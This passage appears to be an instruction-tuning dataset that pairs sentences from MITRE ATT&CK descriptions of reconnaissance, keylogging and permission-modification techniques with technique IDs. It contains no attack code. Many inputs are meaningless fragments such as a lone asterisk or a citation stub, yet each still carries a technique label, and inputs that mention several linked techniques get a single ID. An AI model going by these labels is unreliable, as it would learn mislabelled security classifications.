age/patch level, etc.).", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel)", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's host software that can be used during targeting.", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's host software that can be used during targeting. ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's client configurations that can be used during targeting.", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's client configurations that can be used during targeting. ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's hosts that can be used during targeting.", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's hosts that can be used during targeting. ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation:", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available technical databases for information about victims that can be used during targeting.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available technical databases for information about victims that can be used during targeting. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigitalShadows CDN)(Citation: Shodan)", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigitalShadows CDN)(Citation: Shodan) ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different open databases depending on what information they seek to gather.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different open databases depending on what information they seek to gather. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search public digital certificate data for information about victims that can be used during targeting.", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search public digital certificate data for information about victims that can be used during targeting. ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content.", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search digital certificate data to gather actionable information.", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search digital certificate data to gather actionable information. ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup)", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation:", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use methods of capturing user input to obtain credentials or collect information.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use methods of capturing user input to obtain credentials or collect information. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)). ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may log user keystrokes to intercept credentials as the user types them.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may log user keystrokes to intercept credentials as the user types them. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021) ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke)", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some methods include:\n\n*", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some methods include:\n\n* ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hooking API callbacks used for processing keystrokes.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hooking API callbacks used for processing keystrokes. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reading raw keystroke data from the hardware buffer.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reading raw keystroke data from the hardware buffer. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Windows Registry modifications.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Windows Registry modifications. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Custom drivers.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Custom drivers. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may enable malicious activity such as modifying, replacing, or deleting specific files or directories.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008),", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking 